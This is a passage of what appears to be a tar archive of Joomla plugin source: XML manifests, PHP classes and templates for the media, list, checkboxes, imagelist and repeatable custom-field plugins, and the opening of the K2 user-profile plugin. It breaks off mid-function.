		<filename plugin="media">media.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_media.ini</language>
		<language tag="en-GB">en-GB.plg_fields_media.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="directory"
					type="folderlist"
					label="PLG_FIELDS_MEDIA_PARAMS_DIRECTORY_LABEL"
					description="PLG_FIELDS_MEDIA_PARAMS_DIRECTORY_DESC"
					directory="images"
					hide_none="true"
					recursive="true"
				/>

				<field
					name="preview"
					type="list"
					label="PLG_FIELDS_MEDIA_PARAMS_PREVIEW_LABEL"
					description="PLG_FIELDS_MEDIA_PARAMS_PREVIEW_DESC"
					class="btn-group"
					default="tooltip"
					>
					<option value="tooltip">PLG_FIELDS_MEDIA_PARAMS_PREVIEW_TOOLTIP</option>
					<option value="true">PLG_FIELDS_MEDIA_PARAMS_PREVIEW_INLINE</option>
					<option value="false">JNO</option>
				</field>

				<field
					name="image_class"
					type="textarea"
					label="PLG_FIELDS_MEDIA_PARAMS_IMAGE_CLASS_LABEL"
					description="PLG_FIELDS_MEDIA_PARAMS_IMAGE_CLASS_DESC"
					size="40"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                        fields/media/tmpl/media.php                                                                         0000705                 00000001230 15242051521 0011624 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Media
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

if ($field->value == '')
{
	return;
}

$class = $fieldParams->get('image_class');

if ($class)
{
	$class = ' class="' . htmlentities($class, ENT_COMPAT, 'UTF-8', true) . '"';
}

$value  = (array) $field->value;
$buffer = '';

foreach ($value as $path)
{
	if (!$path)
	{
		continue;
	}

	$buffer .= sprintf('<img src="%s"%s>',
		htmlentities($path, ENT_COMPAT, 'UTF-8', true),
		$class
	);
}

echo $buffer;
                                                                                                                                                                                                                                                                                                                                                                        fields/list/params/list.xml                                                                         0000705                 00000002043 15242051521 0011737 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="multiple"
				type="list"
				label="PLG_FIELDS_LIST_PARAMS_MULTIPLE_LABEL"
				description="PLG_FIELDS_LIST_PARAMS_MULTIPLE_DESC"
				filter="integer"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="options"
				type="subform"
				label="PLG_FIELDS_LIST_PARAMS_OPTIONS_LABEL"
				description="PLG_FIELDS_LIST_PARAMS_OPTIONS_DESC"
				layout="joomla.form.field.subform.repeatable-table"
				icon="list"
				multiple="true"
				>
				<form hidden="true" name="list_templates_modal" repeat="true">
					<field
						name="name"
						type="text"
						label="PLG_FIELDS_LIST_PARAMS_OPTIONS_NAME_LABEL"
						size="30"
					/>

					<field
						name="value"
						type="text"
						label="PLG_FIELDS_LIST_PARAMS_OPTIONS_VALUE_LABEL"
						size="30"
					/>
				</form>
			</field>
		</fieldset>
	</fields>
</form>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             fields/list/list.xml                                                                                0000705                 00000003426 15242051521 0010462 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_list</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_LIST_XML_DESCRIPTION</description>
	<files>
		<filename plugin="list">list.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_list.ini</language>
		<language tag="en-GB">en-GB.plg_fields_list.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="multiple"
					type="radio"
					label="PLG_FIELDS_LIST_PARAMS_MULTIPLE_LABEL"
					description="PLG_FIELDS_LIST_PARAMS_MULTIPLE_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="options"
					type="subform"
					label="PLG_FIELDS_LIST_PARAMS_OPTIONS_LABEL"
					description="PLG_FIELDS_LIST_PARAMS_OPTIONS_DESC"
					layout="joomla.form.field.subform.repeatable-table"
					icon="list"
					multiple="true"
					>
					<form hidden="true" name="list_templates_modal" repeat="true">
						<field
							name="name"
							type="text"
							label="PLG_FIELDS_LIST_PARAMS_OPTIONS_NAME_LABEL"
							size="30"
						/>

						<field
							name="value"
							type="text"
							label="PLG_FIELDS_LIST_PARAMS_OPTIONS_VALUE_LABEL"
							size="30"
						/>
					</form>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                          fields/list/list.php                                                                                0000705                 00000002040 15242051521 0010440 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.List
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldslistplugin', JPATH_ADMINISTRATOR);

/**
 * Fields list Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsList extends FieldsListPlugin
{
	/**
	 * Prepares the field
	 *
	 * @param   string    $context  The context.
	 * @param   stdclass  $item     The item.
	 * @param   stdclass  $field    The field.
	 *
	 * @return  object
	 *
	 * @since   3.9.2
	 */
	public function onCustomFieldsPrepareField($context, $item, $field)
	{
		// Check if the field should be processed
		if (!$this->isTypeSupported($field->type))
		{
			return;
		}

		// The field's rawvalue should be an array
		if (!is_array($field->rawvalue))
		{
			$field->rawvalue = (array) $field->rawvalue;
		}

		return parent::onCustomFieldsPrepareField($context, $item, $field);
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                fields/list/tmpl/list.php                                                                           0000705                 00000001130 15242051521 0011413 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.List
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

$fieldValue = $field->value;

if ($fieldValue == '')
{
	return;
}

$fieldValue = (array) $fieldValue;
$texts      = array();
$options    = $this->getOptionsFromField($field);

foreach ($options as $value => $name)
{
	if (in_array((string) $value, $fieldValue))
	{
		$texts[] = JText::_($name);
	}
}


echo htmlentities(implode(', ', $texts));
                                                                                                                                                                                                                                                                                                                                                                                                                                        fields/checkboxes/tmpl/checkboxes.php                                                               0000705                 00000001166 15242051521 0013732 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Checkboxes
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

$fieldValue = $field->value;

if ($fieldValue === '' || $fieldValue === null)
{
	return;
}

$fieldValue = (array) $fieldValue;
$texts      = array();
$options    = $this->getOptionsFromField($field);

foreach ($options as $value => $name)
{
	if (in_array((string) $value, $fieldValue))
	{
		$texts[] = JText::_($name);
	}
}

echo htmlentities(implode(', ', $texts));
                                                                                                                                                                                                                                                                                                                                                                                                          fields/checkboxes/checkboxes.xml                                                                    0000705                 00000003073 15242051521 0012766 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_checkboxes</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_CHECKBOXES_XML_DESCRIPTION</description>
	<files>
		<filename plugin="checkboxes">checkboxes.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_checkboxes.ini</language>
		<language tag="en-GB">en-GB.plg_fields_checkboxes.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="options"
					type="subform"
					label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_LABEL"
					description="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_DESC"
					layout="joomla.form.field.subform.repeatable-table"
					icon="list"
					multiple="true"
					>
					<form hidden="true" name="list_templates_modal" repeat="true">
						<field
							name="name"
							type="text"
							label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_NAME_LABEL"
							size="30"
						/>

						<field
							name="value"
							type="text"
							label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_VALUE_LABEL"
							size="30"
						/>
					</form>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                     fields/checkboxes/checkboxes.php                                                                    0000705                 00000000722 15242051521 0012753 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Checkboxes
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldslistplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Checkboxes Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsCheckboxes extends FieldsListPlugin
{
}
                                              fields/checkboxes/params/checkboxes.xml                                                             0000705                 00000001373 15242051521 0014252 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="options"
				type="subform"
				label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_LABEL"
				description="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_DESC"
				layout="joomla.form.field.subform.repeatable-table"
				icon="list"
				multiple="true"
				>
				<form hidden="true" name="list_templates_modal" repeat="true">
					<field
						name="name"
						type="text"
						label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_NAME_LABEL"
						size="30"
					/>

					<field
						name="value"
						type="text"
						label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_VALUE_LABEL"
						size="30"
					/>
				</form>
			</field>
		</fieldset>
	</fields>
</form>
                                                                                                                                                                                                                                                                     fields/imagelist/tmpl/imagelist.php                                                                 0000705                 00000001711 15242051521 0013426 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Imagelist
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

if ($field->value == '')
{
	return;
}

$class = $fieldParams->get('image_class');

if ($class)
{
	// space before, so if no class sprintf below works
	$class = ' class="' . htmlentities($class, ENT_COMPAT, 'UTF-8', true) . '"';
}

$value  = (array) $field->value;
$buffer = '';

foreach ($value as $path)
{
	if (!$path || $path == '-1')
	{
		continue;
	}

	if ($fieldParams->get('directory', '/') !== '/')
	{
		$buffer .= sprintf('<img src="images/%s/%s"%s>',
			$fieldParams->get('directory'),
			htmlentities($path, ENT_COMPAT, 'UTF-8', true),
			$class
		);
	}
	else
	{
		$buffer .= sprintf('<img src="images/%s"%s>',
			htmlentities($path, ENT_COMPAT, 'UTF-8', true),
			$class
		);
	}
}

echo $buffer;
                                                       fields/imagelist/params/imagelist.xml                                                               0000705                 00000002011 15242051521 0013740 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="directory"
				type="folderlist"
				label="PLG_FIELDS_IMAGELIST_PARAMS_DIRECTORY_LABEL"
				description="PLG_FIELDS_IMAGELIST_PARAMS_DIRECTORY_DESC"
				directory="images"
				hide_none="true"
				hide_default="true"
				recursive="true"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="/">/</option>
			</field>

			<field
				name="multiple"
				type="list"
				label="PLG_FIELDS_IMAGELIST_PARAMS_MULTIPLE_LABEL"
				description="PLG_FIELDS_IMAGELIST_PARAMS_MULTIPLE_DESC"
				filter="integer"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="image_class"
				type="textarea"
				label="PLG_FIELDS_IMAGELIST_PARAMS_IMAGE_CLASS_LABEL"
				description="PLG_FIELDS_IMAGELIST_PARAMS_IMAGE_CLASS_DESC"
				size="40"
			/>
		</fieldset>
	</fields>
</form>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       fields/imagelist/imagelist.xml                                                                      0000705                 00000003436 15242051521 0012471 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_imagelist</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_IMAGELIST_XML_DESCRIPTION</description>
	<files>
		<filename plugin="imagelist">imagelist.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_imagelist.ini</language>
		<language tag="en-GB">en-GB.plg_fields_imagelist.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="directory"
					type="folderlist"
					label="PLG_FIELDS_IMAGELIST_PARAMS_DIRECTORY_LABEL"
					description="PLG_FIELDS_IMAGELIST_PARAMS_DIRECTORY_DESC"
					directory="images"
					hide_none="true"
					hide_default="true"
					recursive="true"
					default="/"
					>
					<option value="/">/</option>
				</field>

				<field
					name="multiple"
					type="radio"
					label="PLG_FIELDS_IMAGELIST_PARAMS_MULTIPLE_LABEL"
					description="PLG_FIELDS_IMAGELIST_PARAMS_MULTIPLE_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="image_class"
					type="textarea"
					label="PLG_FIELDS_IMAGELIST_PARAMS_IMAGE_CLASS_LABEL"
					description="PLG_FIELDS_IMAGELIST_PARAMS_IMAGE_CLASS_DESC"
					size="40"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                  fields/imagelist/imagelist.php                                                                      0000705                 00000002165 15242051521 0012456 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Imagelist
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Imagelist Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsImagelist extends FieldsPlugin
{
	/**
	 * Transforms the field into a DOM XML element and appends it as a child on the given parent.
	 *
	 * @param   stdClass    $field   The field.
	 * @param   DOMElement  $parent  The field node parent.
	 * @param   JForm       $form    The form.
	 *
	 * @return  DOMElement
	 *
	 * @since   3.7.0
	 */
	public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)
	{
		$fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form);

		if (!$fieldNode)
		{
			return $fieldNode;
		}

		$fieldNode->setAttribute('hide_default', 'true');
		$fieldNode->setAttribute('directory', '/images/' . $fieldNode->getAttribute('directory'));

		return $fieldNode;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                           fields/repeatable/tmpl/repeatable.php                                                               0000705                 00000001077 15242051521 0013707 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Repeatable
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$fieldValue = $field->value;

if ($fieldValue === '')
{
	return;
}

// Get the values
$fieldValues = json_decode($fieldValue, true);

if (empty($fieldValues))
{
	return;
}

$html = '<ul>';

foreach ($fieldValues as $value)
{
	$html .= '<li>' . implode(', ', $value) . '</li>';
}

$html .= '</ul>';

echo $html;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                 fields/repeatable/repeatable.xml                                                                    0000705                 00000001556 15242051521 0012746 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.8.0" group="fields" method="upgrade">
	<name>plg_fields_repeatable</name>
	<author>Joomla! Project</author>
	<creationDate>April 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_FIELDS_REPEATABLE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="repeatable">repeatable.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB/en-GB.plg_fields_repeatable.ini</language>
		<language tag="en-GB">en-GB/en-GB.plg_fields_repeatable.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                  fields/repeatable/repeatable.php                                                                    0000705                 00000007333 15242051521 0012734 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Repeatable
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\MVC\Model\BaseDatabaseModel;

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Repeatable plugin.
 *
 * @since  3.9.0
 */
class PlgFieldsRepeatable extends FieldsPlugin
{
	/**
	 * Transforms the field into a DOM XML element and appends it as a child on the given parent.
	 *
	 * @param   stdClass    $field   The field.
	 * @param   DOMElement  $parent  The field node parent.
	 * @param   JForm       $form    The form.
	 *
	 * @return  DOMElement
	 *
	 * @since   3.9.0
	 */
	public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)
	{
		$fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form);

		if (!$fieldNode)
		{
			return $fieldNode;
		}

		$readonly = false;

		if (!FieldsHelper::canEditFieldValue($field))
		{
			$readonly = true;
		}

		$fieldNode->setAttribute('type', 'subform');
		$fieldNode->setAttribute('multiple', 'true');
		$fieldNode->setAttribute('layout', 'joomla.form.field.subform.repeatable-table');

		// Build the form source
		$fieldsXml = new SimpleXMLElement('<form/>');
		$fields    = $fieldsXml->addChild('fields');

		// Get the form settings
		$formFields = $field->fieldparams->get('fields');

		// Add the fields to the form
		foreach ($formFields as $index => $formField)
		{
			$child = $fields->addChild('field');
			$child->addAttribute('name', $formField->fieldname);
			$child->addAttribute('type', $formField->fieldtype);
			$child->addAttribute('readonly', $readonly);

			if (isset($formField->fieldfilter))
			{
				$child->addAttribute('filter', $formField->fieldfilter);
			}
		}

		$fieldNode->setAttribute('formsource', $fieldsXml->asXML());

		// Return the node
		return $fieldNode;
	}

	/**
	 * The save event.
	 *
	 * @param   string   $context  The context
	 * @param   JTable   $item     The article data
	 * @param   boolean  $isNew    Is new item
	 * @param   array    $data     The validated data
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onContentAfterSave($context, $item, $isNew, $data = array())
	{
		// Create correct context for category
		if ($context == 'com_categories.category')
		{
			$context = $item->get('extension') . '.categories';

			// Set the catid on the category to get only the fields which belong to this category
			$item->set('catid', $item->get('id'));
		}

		// Check the context
		$parts = FieldsHelper::extract($context, $item);

		if (!$parts)
		{
			return true;
		}

		// Compile the right context for the fields
		$context = $parts[0] . '.' . $parts[1];

		// Loading the fields
		$fields = FieldsHelper::getFields($context, $item);

		if (!$fields)
		{
			return true;
		}

		// Get the fields data
		$fieldsData = !empty($data['com_fields']) ? $data['com_fields'] : array();

		// Loading the model
		/** @var FieldsModelField $model */
		$model = BaseDatabaseModel::getInstance('Field', 'FieldsModel', array('ignore_request' => true));

		// Loop over the fields
		foreach ($fields as $field)
		{
			// Find the field of this type repeatable
			if ($field->type !== $this->_name)
			{
				continue;
			}

			// Determine the value if it is available from the data
			$value = key_exists($field->name, $fieldsData) ? $fieldsData[$field->name] : null;

			// Handle json encoded values
			if (!is_array($value))
			{
				$value = json_decode($value, true);
			}

			// Setting the value for the field and the item
			$model->setFieldValue($field->id, $item->get('id'), json_encode($value));
		}

		return true;
	}
}
                                                                                                                                                                                                                                                                                                     fields/repeatable/params/repeatable.xml                                                             0000705                 00000004710 15242051521 0014224 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="fields"
				type="subform"
				label="PLG_FIELDS_REPEATABLE_PARAMS_FIELDS_LABEL"
				description="PLG_FIELDS_REPEATABLE_PARAMS_FIELDS_DESC"
				multiple="true">
				<form>
					<fields>
						<fieldset>
							<field
								name="fieldname"
								type="text"
								label="PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_NAME_LABEL"
								description="PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_NAME_DESC"
								required="true"
							/>
							<field
								name="fieldtype"
								type="list"
								label="PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_LABEL"
								description="PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_DESC"
								>
								<option value="editor">PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_EDITOR</option>
								<option value="media">PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_MEDIA</option>
								<option value="number">PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_NUMBER</option>
								<option value="text">PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_TEXT</option>
								<option value="textarea">PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_TEXTAREA</option>
							</field>
							<field
								name="fieldfilter"
								type="list"
								label="PLG_FIELDS_TEXT_PARAMS_FILTER_LABEL"
								description="PLG_FIELDS_TEXT_PARAMS_FILTER_DESC"
								class="btn-group"
								validate="options"
								showon="fieldtype!:media,number"
								>
								<option value="0">JNO</option>
								<option
									showon="fieldtype:editor,text,textarea"
									value="raw">JLIB_FILTER_PARAMS_RAW</option>
								<option
									showon="fieldtype:editor,text,textarea"
									value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option>
								<option
									showon="fieldtype:editor,text,textarea"
									value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option>
								<option
									showon="fieldtype:text,textarea"
									value="alnum">JLIB_FILTER_PARAMS_ALNUM</option>
								<option
									showon="fieldtype:text,textarea"
									value="integer">JLIB_FILTER_PARAMS_INTEGER</option>
								<option
									showon="fieldtype:text,textarea"
									value="float">JLIB_FILTER_PARAMS_FLOAT</option>
								<option
									showon="fieldtype:text,textarea"
									value="tel">JLIB_FILTER_PARAMS_TEL</option>
							</field>
						</fieldset>
					</fields>
				</form>
			</field>
		</fieldset>
	</fields>
</form>
                                                        user/index.html                                                                                     0000705                 00000000037 15242051521 0007512 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 user/k2/k2.php                                                                                      0000705                 00000023332 15242051521 0007061 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @version    2.11 (rolling release)
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2009 - 2024 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL: https://gnu.org/licenses/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

jimport('joomla.plugin.plugin');

class plgUserK2 extends JPlugin
{
    public function onUserAfterSave($user, $isnew, $success, $msg)
    {
        return $this->onAfterStoreUser($user, $isnew, $success, $msg);
    }

    public function onUserLogin($user, $options)
    {
        return $this->onLoginUser($user, $options);
    }

    public function onUserLogout($user)
    {
        return $this->onLogoutUser($user);
    }

    public function onUserAfterDelete($user, $success, $msg)
    {
        return $this->onAfterDeleteUser($user, $success, $msg);
    }

    public function onUserBeforeSave($user, $isNew)
    {
        return $this->onBeforeStoreUser($user, $isNew);
    }

    public function onAfterStoreUser($user, $isnew, $success, $msg)
    {
        jimport('joomla.filesystem.file');
        $app = JFactory::getApplication();
        $params = JComponentHelper::getParams('com_k2');
        $task = JRequest::getCmd('task');

        if ($app->isSite() && ($task == 'activate' || $isnew) && $params->get('stopForumSpam')) {
            $this->checkSpammer($user);
        }

        if ($app->isSite() && $task != 'activate' && JRequest::getInt('K2UserForm')) {
            JPlugin::loadLanguage('com_k2');
            JTable::addIncludePath(JPATH_ADMINISTRATOR.'/components/com_k2/tables');
            $row = JTable::getInstance('K2User', 'Table');
            $k2id = $this->getK2UserID($user['id']);
            JRequest::setVar('id', $k2id, 'post');
            $row->bind(JRequest::get('post'));
            $row->set('userID', $user['id']);
            $row->set('userName', $user['name']);
            $row->set('ip', $_SERVER['REMOTE_ADDR']);
            $row->set('hostname', gethostbyaddr($_SERVER['REMOTE_ADDR']));
            if (isset($user['notes'])) {
                $row->set('notes', $user['notes']);
            }
            if ($isnew) {
                $row->set('group', $params->get('K2UserGroup', 1));
            } else {
                $row->set('group', null);
                $row->set('gender', JRequest::getVar('gender', 'n'));
                $row->set('url', JRequest::getString('url'));
            }
            /*
            if ($row->gender != 'm' && $row->gender != 'f') {
                $row->gender = 'n';
            }
            */
            $row->url = JString::str_ireplace(' ', '', $row->url);
            $row->url = JString::str_ireplace('"', '', $row->url);
            $row->url = JString::str_ireplace('<', '', $row->url);
            $row->url = JString::str_ireplace('>', '', $row->url);
            $row->url = JString::str_ireplace('\'', '', $row->url);
            $row->set('description', JRequest::getVar('description', '', 'post', 'string', 4));
            if ($params->get('xssFiltering')) {
                $filter = new JFilterInput(array(), array(), 1, 1, 0);
                $row->description = $filter->clean($row->description);
            }
            $row->store();

            $file = JRequest::get('files');

            require_once(JPATH_SITE.'/media/k2/assets/vendors/verot/class.upload.php/src/class.upload.php');
            $savepath = JPATH_ROOT.'/media/k2/users/';

            if (isset($file['image']) && $file['image']['error'] == 0 && !JRequest::getBool('del_image')) {
                $handle = new Upload($file['image']);
                $handle->allowed = array('image/*');
                if ($handle->uploaded) {
                    $handle->file_auto_rename = false;
                    $handle->file_overwrite = true;
                    $handle->file_new_name_body = $row->id;
                    $handle->image_resize = true;
                    $handle->image_ratio_y = true;
                    $handle->image_x = $params->get('userImageWidth', '100');
                    $handle->Process($savepath);
                    $handle->Clean();
                } else {
                    $app->enqueueMessage(JText::_('K2_COULD_NOT_UPLOAD_YOUR_IMAGE').$handle->error, 'notice');
                }
                $image = $handle->file_dst_name;
            }

            if (JRequest::getBool('del_image')) {
                $currentImage = basename($row->image);
                if (JFile::exists(JPATH_ROOT.'/media/k2/users/'.$currentImage)) {
                    JFile::delete(JPATH_ROOT.'/media/k2/users/'.$currentImage);
                }
                $image = '';
            }
            if (isset($image)) {
                $row->image = $image;
                $row->store();
            }

            $itemid = $params->get('redirect');
            if (!$isnew && $itemid) {
                $menu = $app->getMenu();
                $item = $menu->getItem($itemid);
                $url = JRoute::_($item->link.'&Itemid='.$itemid, false);

                if (K2_JVERSION == '15') {
                    if (JURI::isInternal($url)) {
                        $app->enqueueMessage(JText::_('K2_YOUR_SETTINGS_HAVE_BEEN_SAVED'));
                        $app->redirect($url);
                    }
                } else {
                    $app->setUserState('com_users.edit.profile.redirect', $url);
                }
            }
        }
    }

    public function onLoginUser($user, $options)
    {
        $params = JComponentHelper::getParams('com_k2');
        $app = JFactory::getApplication();
        if ($app->isSite()) {
            // Get the user id
            $db = JFactory::getDbo();
            $db->setQuery("SELECT id FROM #__users WHERE username = ".$db->Quote($user['username']));
            $id = $db->loadResult();

            // If K2 profiles are enabled assign non-existing K2 users to the default K2 group. Update user info for existing K2 users.
            if ($params->get('K2UserProfile') && $id) {
                $k2id = $this->getK2UserID($id);
                JTable::addIncludePath(JPATH_ADMINISTRATOR.'/components/com_k2/tables');
                $row = JTable::getInstance('K2User', 'Table');
                if ($k2id) {
                    $row->load($k2id);
